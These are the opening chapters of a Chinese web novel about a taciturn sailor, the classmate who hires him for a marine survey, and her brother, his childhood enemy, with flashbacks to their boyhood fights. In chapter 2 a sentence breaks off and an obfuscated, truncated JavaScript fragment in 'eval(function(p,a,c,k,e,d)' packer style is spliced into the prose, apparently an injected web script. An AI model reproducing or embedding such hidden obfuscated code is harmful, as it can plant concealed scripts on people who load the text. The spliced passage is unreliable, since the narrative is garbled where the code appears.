《我和死对头沦落荒岛后》 1. 第 1 章 啪嗒——啪嗒——啪—— 院外传来一阵有力的脚步声,开始很重,慢慢变轻,最后停在了大门口。 接着,门外传来一男一女简短的对话: “枭风,有个漂亮的姑娘找你,人家等你半天了。” “知道了,嫂子。” 枭风推开半掩的铁大门,发出“咯咯”声。 与此同时,一直等他回来的王琦走到门口,正好与他打个照面。 两人飞快地互相打量,然后交换一个眼神。 王琦几乎是仰着头,察觉到他眼里的疑惑,忙不迭打招呼:“你好枭风,我是你的同学,你还记得我吗?” 算算时间,最起码十年没见,王琦不敢保证枭风还认得她,刻意摘掉鸭舌帽露出整张脸。 枭风没让她失望,盯着她看两秒便叫出名字:“你是王琦。” 他的声音饱满有磁性,那是一种从胸腔深处自然涌出的音质,低沉而不失清晰。 王琦喜出望外,伸出一只手:“好久不见!” “好久不见。” 枭风摘掉劳保手套,握住那只白皙的手。 “进来坐。”他邀请她进屋叙旧。 这是一个独立小院,用铁栅栏围成长方形,靠近大门口是一间车库,里面停放一辆摩托车和各种杂物。 往里走是住房,复古色的两层普通房屋。 枭风出海刚回来,屋里堆着东西,他挪开碍事的箱子,为身后的王琦腾出地方。 客厅不大,但很亮堂。 窗外的阳光直直射进来,可以看见空气里漂浮的微尘。 “有点乱,你先找椅子坐。”枭风随手一指,然后进了餐室。 半个月前的某天,枭风成功卖掉父亲留给他的老房子,用卖房的钱买了一艘新船,这间小院是邻居大嫂帮忙租的,也就是刚刚在门口提醒他有人找的女人。 他刚搬进来没多久,部分行李没来得及整理,屋里确实有些乱。 王琦打量四周的环境,半天也没找到能坐的椅子。 不一会儿,枭风从餐室出来,递给王琦一杯冒热气的花茶。 “哇!熟悉的味道。”王琦喝一口,脸上露出笑容。 枭风扯掉一块防尘布,让客人先落座,他走到靠窗的位置站着。 他那漫不经心的眼神从王琦身上轻轻扫过,没有过多的探究。 相反,王琦在很认真的观察多年未见的人。 枭风最引人瞩目的是身高,往低了估也有1.90米,五官并不出奇,但一双眼睛狭长有神,他的外表不修边幅,应该是最近没刮胡子,身上的衣服布料结实,耐剐蹭,专业水手都穿这种料子。 他看上去比实际年龄成熟,天生带点冷感,眼神真诚。 王琦用一句话总结:一看就是人狠话不多的类型。 “你比念书时高多了,”王琦不禁感叹,“我差点认不出你。” 枭风的嘴角牵出一抹笑,很淡很淡的笑:“你找我有事吗?” 他一边讲话一边在脑海里重塑记忆。 之所以十年未见还能一眼认出,因为他们从小相识,王琦是所在地滨海镇港口大老板的女儿,枭风的爸爸曾经在港口工作,很多年以前,枭风跟着爸爸去王家送过海货。 那时候,他认识了老板家的孩子,恰巧他和王琦同岁,又在同一所学校读书,后来王琦去国外,走了之后就没联系。 枭风租赁的院子不在镇中心,而是靠近山区的偏远村子,他心里明白,大小姐肯定不是下乡旅游的。 王琦应道:“确实有事。” 枭风看眼时间:“五分钟能说完吗?” 王琦一怔,脸上笑容更盛:“说不完。” 老同学的外表变化挺大,性格却一点没变。 印象中,枭风不管面对谁都不卑不亢,有事说事,没事走人。 枭风进入洗手间换衣服,脱掉短袖,穿上汗衫,外面套一件冲锋衣,出来后换了双登山鞋。 他拎着装备走到门口,语气不咸不淡:“我要上山,最快也要三个小时能回来,如果你不忙,可以跟我一起去,我们边走边聊。” “没问题,”王琦稍微迟疑一下就答应了,“三个小时,我差不多能讲完。” 转瞬间,铁大门重新上了锁。 枭风把背包塞进摩托车的后箱,一脚跨上去,从车头摘下安全帽递给王琦,说句:“干净的。” 王琦抱着帽子刚要说话,兜里的手机“玲玲”地响起来。 她接起来说:“哥,怎么了。” 手机里传出一道好听的声音:“怎么一转头你人就不见了,说好一起吃午饭的。” “我有事,随便找了一家餐馆。” “事儿办完了吗?我去接你。” “不用,你忙你的,我自己可以,晚饭前我会回市区。” “市区?你现在在哪呢。” 类似没营养的对话持续片刻,电话另一边的哥哥坚持要来接人。 王琦拗不过,只好问枭风:“我们大概几点下山?” 枭风戴上头盔:“有人接你?” 王琦道:“嗯,我哥哥。” 刹那间,枭风的脑子里炸开一张‘不讨喜’的脸,立时想起王老板还有一个叫王昕的儿子。 提起这个王昕,枭风真的没啥好印象,虽然他们也有十几年没见,但讨厌的感觉半点没减。 对此,枭风也蛮惊讶的。 他不动声色地说:“让他五点半到西路口正门接你,我们从北大道上山,不会登顶,出了原始林我们走公园索道。” 王琦立马把时间和地址转告哥哥。 电话那头的男人瞬间提高嗓音:“你怎么去那么偏的地方,跟谁在一起,会不会有危险,你小心点,那边的原住民可不好对付。” 枭风即便带着头盔,也听得一清二楚。 王琦满脸尴尬,压低声音对准手机:“不会的,我和同学在一起。” “哪个同学?” “哥,信号不好,先不跟你说了,等会联系。” 王琦赶紧结束语音通话,着急忙慌地扣上安全帽,冲枭风抱歉一笑:“我哥哥就是这样,爱操心的命,其实没别的意思。” 枭风没搭茬,表情始终波澜不惊。 王琦抬腿坐上摩托,两只手抓住枭风的外套。 引擎声响起,震得耳朵嗡嗡响,摩托车飞了出去。 路上,不说话有点尴尬。 王琦凑到枭风脑后,声音盖过引擎:“枭风,你还记得我哥哥吧,小时候我们在棕榈林...” “不记得。”枭风显得冷酷,不想多谈。 王琦偷偷撇嘴,随后笑了。 -- 摩托车行驶在半山腰,穿过一片密密匝匝的林子,斑驳的树荫消失,一望无际的大海闯入视野。 这里是棕榈国最高的山脉,地势险峻,路不好走。 “绿国,我回来了!”王琦开心的大喊,“我以前都不觉得这里有多美。” 棕榈国被戏称为‘绿国’,一个需要用放大镜在地球仪上寻找的袖珍国家,坐落在东亚沿海地带,曾经是曼帝国最不起眼的殖民地,战争结束后宣布独立。 生活在棕榈地区的土著属于流散民族,俗称贝都人,建国初期为了经济发展,政府开放了第一次移民大潮流,接收来自各方难民,并以优厚条件招揽各行各业人才。 后来,绿国人口大幅度增长,经过普查,属华人居多。 枭风在这里出生,在这里长大,熟悉海滨镇的一草一木。 他猜王琦找他,可能跟这方面有关。 猜得很准,当他带领王琦开始往山上爬时,对方说出了原因。 “我想聘请你做顾问,在绿国,我找不到第二个比你更适合的船长。”王琦可不是在恭维,经过走访、调查,她可以担保枭风的能力。 枭风背着包在前面带路,手里拿着收缩棍探路,一边提醒一边问:“小心有蛇,什么顾问。” 话匣子就这么打开了。 王琦有条不紊地说明来意,她的父亲买下绿国首府封锁的海域,打算建造一座海上乐园,她既是项目副经理,也是环保主义的一员,情况有些复杂,她想找一个得力帮手做海上调研,她心目中的‘专家’。 “你是远近闻名的水手,对附近海域了如指掌,连哪里有多大的暗礁你都清楚,”王琦稍稍加快了语速,停顿一下兴奋地补充,“我知道你出船都不用看导航。” 枭风问了详细位置,微微皱眉:“我确实熟悉海滨镇大大小小的海湾,但没去过你说的那片海域。” “所以我才来找你,”王琦紧紧跟在后面,一路向上有点喘,“探索未知海域需要专业人士,相较公司聘请的那些大专家,我更相信咱们本地 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“12.6万考虑吗?” 枭风的发动机就差这个数。 如果能搞到足够的钱,他就不用出去借了。 王琦一口答应:“必须!刚才说过的,这方面肯定让你满意。” 枭风思考着点头:“明天下午给你答复。” “我等你的好消息!”王琦觉得这事儿成功一大半,整个人身心舒畅,走起路来没压力。 她跟着枭风在灌木丛里穿梭,庆幸自己穿的是长裤。 还没见到阳光,他们就开始走下坡路。 枭风在后山找到自己设伏的点,逮住一只野兔子。 绿国的兔子超级大,像家犬一样。 他利落地绑好野兔的腿,发现它已经没了气息。 王琦面露惊讶,好奇道:“我记得这片原始林是保护区,让狩猎吗?” “嗯,”枭风用清澈浑厚的声音回答,“别人不可以,我可以。” “差点忘了,”王琦一拍脑门,“你不仅是专业水手,还是森林专家,海洋陆地两手抓。” 海滨镇共居住二十七万公民,只有两个人获得猎人资格证,其中之一就是枭风。 王琦对他刮目相看:“枭风,你一直在镇子上生活吗?” “是,我一直在。” 以后也不打算离开。 枭风在心里默默补充,他把野兔装进袋子,继续往前探路。 “你呢?”枭风主动搭话,“一直在国外读书?” “是啊,我的学业是家里安排好的。” 顺着这个话题,王琦又提到自己的家人,“我哥叫王昕,小时候你说他的眼睛像葡萄,有印象吗?” 枭风不记得自己说过这种话,从嗓子眼里挤出一个“嗯”字就没了下文。 王琦不明所以。 怎么一提起她哥就冷场。 -- 五点半,他们的身影出现在西路口正门。 王琦看着手表,惊讶于枭风把时间计算的如此精确。 让她更惊讶的是,她哥竟然没迟到。 一辆略显骚包的轿车停在临时车道,正对着公园大门口,车上下来一个穿藕色衬衫的男人,身形颀长健硕,脸上架着一副墨镜,气质卓然,让人联想到好莱坞电影里的明星。 他双手插兜倚靠车身,笑盈盈地看着越走越近的妹妹。 “哥,难得这么准时。”王琦大步上前,抬手和哥哥击掌。 王昕假装责备:“怕你被拐,提前来蹲人。” 话落,他抬眸看向前方,视野罩住一道身影。 枭风背着包,手里提着一个袋子走出公园正门。 两人的视线交汇,老天爷刮起一阵妖风。 王昕捋了捋被风吹乱的头发,将墨镜拉低露出眼睛,视线定格在枭风身上,总觉得眼熟。 “我同学,枭风。” 王琦介绍完,凑近哥哥耳边小声提醒:“枭伯伯的儿子,记得吗?” 记得!怎么可能不记得! 王昕宛若醍醐灌顶,温暖的笑容变成冷笑。 他就觉得这人眼熟,原来是一拳把他鼻子干出血的怪胎! 2. 第 2 章 早上出海前检查设备,发现绳索断了一根。 枭风当时就有预感,今天可能会发生不好的事。 果然,他看见一个他打小就不喜欢的人。 王昕和他想到一块去了,从那警惕又嫌弃的眼神中就能看出来。 寥无人烟的公园门口,气氛霎时紧张。 王琦只当他们还没有认出彼此,又做了一次介绍,然后邀请枭风上车:“坐我哥的车,从村子里绕一圈,送你去北大道取摩托。” 她的好心招来她哥一记眼神警告。 枭风用简单的手势婉拒,没吱声,抬起步往前走。 王琦看着他高大的背影,心感歉意:“那你怎么办,走路回去吗?” 王昕忍无可忍的插嘴:“别没事找事,新提的车。”他低头靠近妹妹的耳朵,咬着后槽牙,“看不出来吗?” “什么?” “他就不正常。” “.....” 枭风虽然常年游走于森林和海洋之间,但听力是相当的超群。 已经走出去十几步的他,在听到兄妹俩的对话后又踅回来,打开车门,说声“谢谢”坐了进去。 王昕眼睁睁看着自己的爱车被‘染指’,整个人愣了好几秒。 “哥,上车。”王琦绕过车头走向副驾驶。 王昕瞪着她,用口型无声表达:你满意了。 王琦抿着嘴笑,心想,终于有个人能治住哥哥了。 -- “枭风,你还记得xxx同学吗?” “嗯,有印象。” “那你记性真不错,你和他有联系吗?” “没有。” “他也在国外读书,回国之前我见过他,他还跟我提起你呢。” “哦,他的记忆力也不错。” 路上,王琦总是歪着身子冲向后座,主动寻找话题,从中学同学聊到了探索海岸线。 枭风话不多,但有认真回答王琦提出的问题。 车厢氛围融洽。 王昕边开车边通过车内镜观察后面的男人,眼神带着审视,从枭风军绿色的上衣开始打量,接着是下巴、嘴唇、鼻梁以及眼睛...他们的视线相遇。 枭风的眼睛黑亮,冷冷的,仿佛可以识破一切诡计,让人联想到蜥蜴。 王昕蹙眉,很不喜欢别人用这种眼神盯着自己的后脑勺。 他在心里给枭风贴上几个印象标签—— 普通,野蛮,格格不入。 王琦继续跟枭风搭话:“好端端的为什么搬到山脚下?” 枭风回道:“两个原因,上山方便,房租便宜。” 王琦缓慢点头:“嗯,好像离码头远点了。” “还好,”枭风想了想说,“没有特殊情况,我会在船上过夜。” “我是你的特殊情况喽?”王琦做个滑稽的表情,笑声响亮又干脆。 枭风不语,回了一个浅浅的微笑。 滴滴—— 两声刺耳的车喇叭打断谈话。 “差劲。”王昕语气懒洋洋的,好像在吐槽凹凸不平的路面。 王琦提醒道:“哥,你稳着开。” 王昕露出猫一样狡黠的笑容:“还记得你有个哥哥。” “.....”王琦撇嘴巴,“我和枭风很久没见了,可以说是一见如故。” 王昕顿感不妙,心中警铃大作。 他妹妹今天话特别多,而且来到这鸟不拉屎的地方感觉比在家里自在。 这不是一个好的预兆。 偏偏枭风又重起话题:“王琦,你什么时候回来的。” 王琦思考着回道:“有一阵了,我是圣诞节前几天...哎!” 车子突然颠簸,好像轧到什么东西。 谈话又一次被打断,比上次更加刻意。 王昕游刃有余地操控方向盘,接收到妹妹质疑的眼神,轻描淡写道:“好险。” 王琦看出他是故意的,但想不明白原因:“你怎么了?” “我有点不习惯,”王昕说话时向后座瞟一眼,“来这种地方我心里没底,担心你。” “担心什么?” “你有没有看过《致命弯道》那部电影,”王昕把脸转向妹妹,顽皮地眨眨眼,“就是山里住着食人魔,我看你的这位同学气场不一般,长得很别致,可能沾亲带故...” “哥,你够了,”王琦压低声音表示不满,“我们的小镇民风淳朴,你也是在这里长大的。” 王昕纠正道:“不是这里,是海滨镇,差得远呢。” “路程也不过十五分钟,”王琦回怼,侧过身子又找枭风,“我哥开玩笑的,你刚刚说到....” 后面的话音被突如其来的音乐盖住,王昕调高音量,让流行歌曲占据整个车厢。 “哥。”王琦拍拍王昕的胳膊,示意他小点声。 王昕不听,满意地笑起来。 第一首歌还算温柔,第二首歌就比较‘扰民’。 连续“DuangDuang”的声音直接把王琦干灭火,她捂住耳朵,终于不再回头聊天。 王昕注视车内镜,看见枭风的整张脸彻底黑了,心里别提多爽。 枭风能够接纳海啸狂呼,野兽咆哮,但接受不了这种“哐哐”的噪音。 他看见车窗在震动,而他的胸膛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王琦耸肩,找个袋子装好野兔,送进前备箱,说:“凭什么扔掉,人家好心送的。” 王昕看向枭风走远的身影,英眉紧蹙:“绝对有病,你为什么跟原始人来往?” 王琦无奈:“哥,是我同学,拜托你,别这么毒舌。” 真奇怪.. 妹妹心中起疑,她哥平日里做人做事没这么挑剔,见了枭风怎么变成炮仗,一点就炸。 王昕说出原因:“他打过我知道吗?不对,是我打他。” 王琦微微瞪大眼睛:“什么时候?” 王昕在腰侧比画一个高度,颇为不服气:“他这么高的时候,我俩干过架。” “......”王琦无语到想翻白眼,“那是猴年马月的事儿了,你竟然记到现在,我还以为你忘记他是枭伯伯的儿子。” 王昕眼里闪过隐晦之色,低语道:“不止一次,这种事不会忘记的,我相信他也没忘。” 3. 第 3 章 枭风和王昕之间的过节,可以形容为‘陈年老仇’。 在别人看来,小孩子打架不算事儿,但对两个当事人来说,有些童年记忆,可以记一辈子。 一句话,一个眼神,他们就清楚彼此之间的关联。 除了‘相克’再无其他。 ... 枭风生长在海滨镇的渔村,从小没妈,父亲将他带大。 他对妈妈的事知之甚少,爸爸也很少提及。 十几年前的海滨镇刚刚被划为开发城市,那时候的枭爸爸健在,父子生活拮据,他们没有多余的钱买船,枭爸一身本领献给了港口公司。 在公司当船员的那些年,枭爸跟随大部队经常出海,有时候一走就是半个月,枭风只要有时间就跟着父亲出大海,自打他会走路,他就以船为家。 七岁那年,枭爸第一次带枭风去找大老板,也就是这天,他和王昕的‘孽缘’开始了。 那是一个阴天的日子,偶尔刮起一阵旋风。 绿国四季闷热,很少变天,证明这次相遇非比寻常。 枭爸凭借出色的工作能力晋升为船长,特意赶在过节前来老板家送海货,顺便争取为船员们涨工资的事。 老板姓王,是镇上有名的富人,住在一栋三层高的大白房子里,前后都有花园,靠近马路的位置用高高的栅栏围住,彰显着海滨镇潜在首富的地位。 十几年后再看这栋白房子,也就是一个普通的住宅别墅,绿国随处可见,但那个时候,在孩子们的眼里气派到堪比城堡。 枭风第一次踏进王家,就觉得自己格格不入。 他不喜欢这里,有种野生小老虎误入高级犬舍的感觉。 爸爸要去书房找老板谈工作,让他在花园里等着,并把随身携带的打火石送给他。 他惦记了很久,一直想拥有。 等待的时间异常缓慢,周围很静,只有“呜呜”的风声。 枭风身上的某些特征随爹,天生的探索家,没办法像木头似的不动弹,他走到一处大阳台,冷静地观察周围,闻到了成熟桃子的香气。 阳台下面是绿油油的草坪,沿着草坪眺望,远处是园外的雨林,仔细观察一番,那里没有高高的栅栏。 他跳下阳台,沿着小路,绕着丛林走一圈。 很快,他来到一片高高的棕榈树林,灌木开始被沙滩取代。 枭风心中窃喜,不由加快了步伐。 正如他预料的那样,穿过灌木丛就是一处小海湾。 层层海浪拍打着沙滩,留下一片片泡沫。 枭风脱了鞋子,一步一个脚印,享受细沙触摸脚掌的感觉。 忽然,他的视线被一个反光的东西吸引。 那东西躺在不远处,半个身子陷入沙滩,看不清具体模样。 枭风走过去,本以为是贝壳,走近发现是一个灰色护目镜。 他捡起护目镜,小心翼翼擦去上面的沙粒。 身后灌木丛的叶子发出“沙沙”的声音,像是树枝在抽打叶子。 一道声线干净的声音打破寂静。 “喂!小偷。” 声音稚嫩有回声,是从林子里传来的。 枭风只有七岁,但已经有能力辨别声音的方向。 他穿上鞋子走回灌木丛,循着声音找到一颗巨树。 卷须状的藤蔓垂下来,宛若一根根章鱼的腕足。 枭风握住一根藤蔓,仰头往上瞅,一只白色的板鞋映入眼帘,然后是没穿裤子的细腿,再然后... 一张好看的脸从茂密的树枝间闪现,大大的眼睛,嘴角挂着嘲弄又天真的浅笑。 这是一个比枭风大两岁的男孩,他与枭风对视,像猫一样懒洋洋挂在树杈上,从他的高度可以看见海滩风景。 他就是王老板的儿子——王昕,前几天刚过完九岁生日。 “谁派你来的,”王昕低着头说话,语气好像在逗弄小狗,“这里是私人领地,随随便便拿别人的东西,还说不是小偷。” 枭风瞅一眼手里的护目镜,举起手要还给他:“你的。” “当然是我的!” 话音落,王昕有了动作,两条细腿调换位置,想要从树下跳下来。 枭风往后退,为他让出空地。 正所谓上树容易下树难,王昕幻想着从三米高跳下的帅气画面,现实中却不得不顺着树根爬下来,他像壁虎一样哆哆嗦嗦成功落地。 用时三分钟。 [他好笨..] 枭风脑海里闪过一句话,但没有说出口的欲望。 显然,王昕并不觉得自己笨,表情是那么的趾高气扬。 他站直身体,拍拍手上的树屑,亮晶晶的眼睛打量着比自己矮一头的枭风。 干巴瘦,脏兮兮,脚上一双烂鞋.. 王少爷皱了皱鼻子,怀疑这个男孩是偷渡的难民,全身上下没有吸引人的地方,只有那双眼睛黑如潭水。 与此同时,枭风也在看他,看他的衣服干净又时尚,看他的脸蛋漂亮有神气,还有斑驳树荫下透着栗色光芒的头发,一定很柔软,像泡沫一样。 再往下是白皙却很笨的两条腿,还有那双板鞋,秀气,白得像新的。 枭风把人从头看到脚,抬起头,迎上对方投来的视线。 确认过眼神,是彼此不喜欢的人。 “你叫什么名字?”王昕问,语气中透出想做老大的意思。 枭风把护目镜递过去:“还给你。” 王昕扫一眼:“这是证据,你偷东西的证据。” “我没有,”枭风的耳朵在发热,“我放在这里了。” 他把护目镜放在地上,转身要离开。 王昕赶忙拦住他,眼里冒出兴趣,好像一只孤独的小兽终于找到自己的玩具。 “你别走,”王昕说,“这是我家,你擅闯民宅,我可以叫人来抓你。” 枭风停下脚步,抬起下巴看着王昕的眼睛。 王昕学着大人模样交叉手臂,几乎是命令:“告诉我,你叫什么。” “枭风,我跟爸爸一起来的,”枭风解释道,“我爸爸来找王老板,等他出来,我们会走。” “枭..”王昕思索着,“哦!你是枭船长的儿子,你怎么破破烂烂的。” “我不是故意拿你的眼镜,我不是小偷。”枭风加重语气,他不想爸爸误会自己的行为,也不想在这幢白色大房子里惹事。 他隐约清楚,白房子制定的规则和船上的规则不同。 “渔民的儿子,你跟小偷也没什么区别,”王昕想起自己听过的流言蜚语,心思单纯地信以为真,“爸爸跟我说过,渔民特别贪心,他们总是偷拿公司的货物,尤其是领头的,给多少都不满足。” 枭风的脸色变了,目光像是被压碎的玻璃球。 王昕察觉到他的怒气,不以为意,扬起下巴接着说:“我今天一定要惩罚你,叫你随便拿别人的东西,你瞪什么瞪!别想跑掉,我现在就去找爸爸,告诉他枭船长领个小贼进来。” “我不是。” 枭风的胸口在起伏,声音又沉又哑,不像是小孩的声音。 王昕打心底不喜欢枭风看自己的眼神,从对视的第一眼就不喜欢。 从小锦衣玉食的王少爷,头回碰到这么不尊重他的小孩。 “我说你是,你就是。”王昕指着枭风的额头,态度强硬,试图压倒这个瘦小子。 枭风忍无可忍,抬起手臂一挥,用之前在邻居那里学来的一招直击敌人门面,棒球大的拳头落在漂亮的鼻子上,发出轻微的闷哼。 !!! 什么黑影在眼前闪过? 王昕是一点心理准备没有,捂着鼻子一屁股坐在地上,只觉莫名其妙,半天没缓过来怎么回事。 几秒后,他惨叫一声,感到有股热量顺着鼻孔流出,他不可置信地看着手上的血:“你..你打我!” 枭风喘着气,站在那没动,一双狭长的眼睛死死盯着男孩。 “我要杀了你!” 王昕从地上爬起来,像发疯的小狗朝枭风扑过去。 两个孩子迅速扭打在一起,打的毫无章法。 不出三个回合,有过经验的枭风便占了上风,他骑在王昕腰上使劲揍,同时,他的脸也被王昕抓了好几道口子,渗出了血丝。 “呜呜呜..别打..” 王昕哭了,不再还手,只顾捂着脸抽泣。 枭风停下攻击,喘着气看底下抹眼泪的男孩。 “呸!走开..呜呜..”王昕备受屈辱,活了九年,第一次被人骑着揍。 他讨厌死他了! 枭风摁住他的脑袋,说:“我和我爸都不是贼,我们没拿你家的东西。” “你拿了!”王昕带着哭腔喊道,“我要找人抓你!你竟然打我,起开!别压着我..” “是你先压我的。” “我没有!呜呜..我的鼻子没了。” 可能是王少爷的哭声过于嘹亮,引来了白房子里谈事的大人们。 王老板和枭爸循着哭声赶到现场时,看见的就是枭风骑着王昕的画面。 “王昕!”王老板大喊儿子的名字,百米冲刺地跑过去,“怎么回事!快点起来。” 他很粗鲁地推开枭风,然后扶起儿子的手臂,捧着脑袋观察。 枭风站起身,一转头,看见了自己的父亲。 枭爸眼里闪过一瞬的惊讶和慌乱,随后抿紧嘴巴,快步走到枭风跟前,低头看见了他脸上的血印子。 父子俩默默对视,没有言语。 “什么情况!啊?哪个小犊子干的!”王老板看见儿子鼻孔出血,又气又心疼,回头瞪了一眼枭家父子。 王昕觉得丢脸,不想哭,可眼泪止不住的流:“爸..我没事..” 王老板气急败坏:“还说没事儿,都出血了!” 这件事发生的很突然,王老板爱子心切,慌乱中来不及追究责任,着急忙慌地先把儿子送进医院。 枭家父子全程被忽视。 后来,枭爸带枭风到镇上的诊所,处理脸和胳膊上的抓伤。 从离开王家到现在他们没说过话,直到枭爸取完药回来,帮儿子把衣服换掉,才问道:“为什么打人。” 枭风说:“他说我是贼,我不是。” 枭爸盯着他的脸,瞅了好长时间,最后以沉默收场。 第二天。 家里座机响起,属于王老板兴师问罪的电话姗姗来迟。 枭爸接起电话道歉,态度非常诚恳:“我会教训他的,他以后不敢了...是是,您说的对,都还是孩子,枭风的脸也见血了...” 说话间,枭爸看一眼写作业的枭风。 不知道电话那头的老板提了什么要求,枭爸眼里浮现怒气,语气很是为难:“王总,有这个必要吗?” 通话很快结束,王老板不想多谈。 枭爸坐在椅子里沉思,脸色复杂。 枭风像是预感到 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父子俩买了些礼品,时隔一天,再次踏进王家领地。 挨了一顿胖揍的王少爷正在卧室学习,同样逃不过写作业的命运。 不过王昕的心思不在课本上,他知道那个臭小子一定会来道歉,从早上开始就处于兴奋又期待的状态,还有一股复仇的冲动。 趁此机会,他要把失去的尊严夺回来,狠狠地践踏敌人的尊严。 两个孩子在王老板的书房见面,双方都有监护人陪同。 相隔几步远的距离,他们的视线重叠在一起。 枭风看见王昕鼻梁上的纱布,刚觉得有点愧疚,下一秒就对上那充满挑衅和鄙视的眼神。 他们之间不存在愧疚、和谐,理想画面是再干一架。 “枭风,问好。”枭爸低声提醒。 枭风看向王老板,声音无绪:“王叔叔好。” 王老板不跟小孩打交道,一只手落在王昕的肩膀上,展现出一种维护又撑腰姿态,目光看向枭爸,意思非常明显。 枭爸心里难受,却没想过要反抗,他弯腰在儿子耳边说:“我们讲好的。” 枭风在等自己的‘清白’,正用那种令人心悸的神情盯着王昕,目光奇异、坚定,像是会出现在背后的凝视。 王昕最不喜欢他这种眼神,狠狠地瞪回去。 气氛突然僵持住了。 王老板不悦地咳嗽两声,冲枭爸递过去一个质问的眼神。 枭爸捏紧儿子的手臂,语气变得很严厉:“枭风,快点跟哥哥道歉。” “他不是我哥哥。” “我没他这种弟弟。” 两个男孩同时开口,焦灼的对峙隐隐冒头。 枭爸和王老板互视,不由愣住了。 “爸,他有问题,”王昕摸摸遭殃的鼻子,“是他先动手打人,他还拿了我的护目镜。” “我没有拿你的东西。”枭风竟有咄咄逼人之势,“我不喜欢你的镜子,你身上的东西我都不喜欢。” 王昕气得瞪大眼睛:“谁要你喜欢了!” “吵什么吵,老枭,怎么个意思,来之前没跟孩子讲清楚吗?”王老板不耐烦地挥挥手,根本不在乎拿没拿,只想着为儿子讨回公道。 枭爸不得不加重语气:“枭风!我让你道歉。” 枭风抬起头,觉得父亲没有遵守承诺,他的心变成了冒着寒气的冰块。 “反了天了!”枭爸抬起腿,照着枭风的屁股就是一脚。 枭风踉跄一下扑倒在地,感觉后腰和膝盖火辣辣的疼,但咬紧牙关没吭声。 王家父子没想到枭爸会动手,纷纷露出惊讶的表情,尤其是王昕,看见枭风摔倒后他下意识退后半步。 他爸爸可从来没动手打过他.. 王老板出声制止:“老枭,别在这里打孩子,就是道个歉,有这么费劲吗?” 枭爸握住儿子的细胳膊,很轻松地把枭风提起来,沉声说:“枭风,做错事就该道歉,王总是大忙人,别让人家一直等着。” 枭风发现父亲在按他的后颈,力道很轻,传递着一种沉闷的歉意。 他的心又软了下来,抬起脸看向王昕,妥协地开口:“对不起,我不该打你。” 王昕直勾勾盯着他,想从他眼里找到当众被父亲踢的屈辱,但是没有,幻想中的表情都没有,只有单纯的蔑视和敌意,以及那超越年龄的坚定。 嘴上道歉,心里一点都不服气。 “我听不见,”王昕气呼呼道,不争气的眼泪又要被逼了出来,“你大点声,我听不到你在说什么。” 王老板赶忙抚慰儿子受伤的心灵,以为他要哭是鼻子痛,不停地重复“两天就能好”这种话。 殊不知,孩子之间的互动也是深刻的。 枭爸轻轻推着枭风的背,这一瞬间感觉老了好几岁。 “对不起,”枭风冷冰冰地提高音量,“我不该打你。” 王昕觉得自己赢了,可开心不起来,他的眼眶发红,噘了噘嘴巴强忍着没流泪。 见他一脸委屈样,枭风实在想不明白他有什么好委屈的,又说一句:“对不起。” 可以走了吗? 他想离开这座白房子,回到熟悉的森林或大海。 王昕哽咽着点头:“嗯..我真讨厌你。” 这不巧了嘛! 枭风说:“我也是。” 4. 第 4 章 枭风的认错似乎平息了大人的怒气,但王少爷那里不过关。 这件事在学生圈里发酵,导致王昕身败名裂。 某天下午,从学校回来的王琦直接找到哥哥,张嘴就问:“哥,你被我同学打哭了?” 王昕正在画画,听到妹妹的话当场死机:“谁告诉你的?” “我们全班都知道了。”王琦做个撒花的动作,好像在庆祝奇闻异事。 “枭风说的?”王昕恨得牙痒痒,“一定是他...到处吹牛。” “是我同桌听他爸爸讲的,”王琦诚实地说,“他爸爸和枭伯伯在一条船上工作。” 王昕低着头,烦躁地撕下画纸揉成团。 “我同桌说,枭风放倒你就像挖了挖鼻屎那么简单,”王琦停顿一下,“我同桌还说...” 还有? 王昕一脸戒备地等着。 王琦露出可爱的微笑:“他们说你的鼻子像喷泉一样向外呲血。” 怎么越传越离谱! 王昕高声反驳:“胡说八道,这种话你也信?” 妹妹捧下巴打量他,慢吞吞地摇头:“我是不太相信的,哥哥这么高,竟然打不过枭风,他还没我高呢。” 耻辱!绝对的耻辱! 王昕的脸和脖子涨红,羞愧到手脚发热,他是赫赫有名的海滩小霸主,谁见了他都会避三分锋芒,想不到会输给一个小矮人。 他的一世英名啊.. “哥,”妹妹还往伤口撒盐,“你不是说鼻子撞门撞出血的吗?原来你骗我,被我同学打的,他好厉害。” 一股不甘的怒气在王昕胸腔聚集,他把牙齿咬的咯咯响,气得又想哭:“你和枭风关系好吗?” “还行啊,”王琦淡淡点头,“他不爱说话,也不怎么玩游戏。” 王昕吐槽:“怪胎,小野人。” 王琦立马反驳:“才不是,上次我们跟他玩,在操场上跑半天终于把他抓住,女同学们揪他的头发他都不还手,还笑呢,我第一次见他笑得那么开心。” “我让他哭!”王昕将画板往桌上狠狠一拍,“你把他叫过来,我要和他单挑!我绝对能打哭他。” “哥,你们做好朋友吧。” “开什么玩笑!” “真的,他一定同意。” “你把他叫过来。” ... 假期第一天,相同的时间和地点,枭风和王昕又见面了。 冤家相见分外眼红,二话不说提刀就上。 王昕莽足劲朝枭风扑过去,势必要在妹妹面前赢回面子。 枭风因为被迫道歉憋了一肚子气,自然不会退缩,而且最近新学一招,他抱住王昕的腰,伸出一只脚去别对方的腿,很快就把人摔倒在沙滩上。 两个半大小子纠缠在一起,搅得尘土飞扬。 王琦有点害怕,愣愣地站在旁边。 “你们不要打啦!不要打啦!” 劝说不动,妹妹转身去搬救兵。 她畏惧自己的父亲,很聪明的没自找麻烦,而是跑到不远处的码头,找到正要出船的枭伯伯。 “怎么了,孩子,慢点说不急。” “急急..枭风和我哥打起来了!打成连体婴,分都分不开!枭伯伯你快去看看吧。” 枭爸一听脸色瞬变,抱起王琦朝着棕榈林的方向跑去。 片刻后,他们赶到案发现场。 两个男孩已经分开,一个坐在沙滩上捂着脸“嘤嘤嘤”地哭,另一个站在旁边揉眼睛。 枭风赢了,赢得不够彻底,一不留神被对手往眼里扬沙子。 王昕输得够彻底,又被打哭了。 “枭风!”枭爸两个箭步蹿到跟前,一把按住枭风的肩膀,“让我看看,眼睛怎么了?” 枭风眨巴泛红的双眼,边摇头边说:“是他先找我的。” “别动,眼里有东西。”枭爸吹走了枭风眼底的沙粒,然后看向仍在哭泣的王昕,“小少爷,你还好吗?” “不好..”王昕小心翼翼地挪开手,露出通红的脸,“枭风又打我鼻子,还揪我的耳朵,拧我的脸。” 小少爷摸了摸滚烫的脸颊,哭腔更浓:“都捏肿了!” 